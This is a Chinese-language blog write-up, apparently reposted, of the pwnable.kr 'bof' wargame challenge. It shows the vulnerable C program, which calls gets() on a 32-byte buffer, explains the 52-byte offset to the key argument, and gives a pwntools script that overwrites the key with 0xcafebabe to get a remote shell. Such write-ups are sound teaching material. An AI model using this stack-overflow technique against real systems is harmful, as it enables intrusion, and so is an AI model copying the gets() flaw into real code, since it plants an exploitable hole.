pwnable.krbof
Posted p4nda
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了pwnable.krbof相关的知识,希望对你有一定的参考价值。
pwnable从入门到放弃,第三题。
Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.c
Running at : nc pwnable.kr 9000
很简单的一道栈溢出题目。
依然先读代码:
#include <stdio.h> #include <string.h> #include <stdlib.h> void func(int key){ char overflowme[32]; printf("overflow me : "); gets(overflowme); // smash me! if(key == 0xcafebabe){ system("/bin/sh"); } else{ printf("Nah..\\n"); } } int main(int argc, char* argv[]){ func(0xdeadbeef); return 0; }
在gets处有一个明显的栈溢出,溢出了overflowme变量。
目的是覆盖key变量,导致在if判断时,获得执行bash的权限。
用ida看看栈分配的结构吧
看到数组overflowme的起始地址在ebp+s(-2c),key参数的其实地址在ebp+arg0(+8),中间就差了44+8 = 52个字节。
因此使用52个‘A’覆盖之后再加上4字节的0xcafebabe,就可以了。
再次膜拜一发pwntools。
# -*- coding:utf-8 -*- import pwn r = pwn.remote(\'pwnable.kr\',9000) r.send(\'a\'*52+pwn.p32(0xcafebabe)) r.interactive()
之后就可以获得一个shell了。
ps:话说明天开始要做项目了 = =紧脏。
以上是关于pwnable.krbof的主要内容,如果未能解决你的问题,请参考以下文章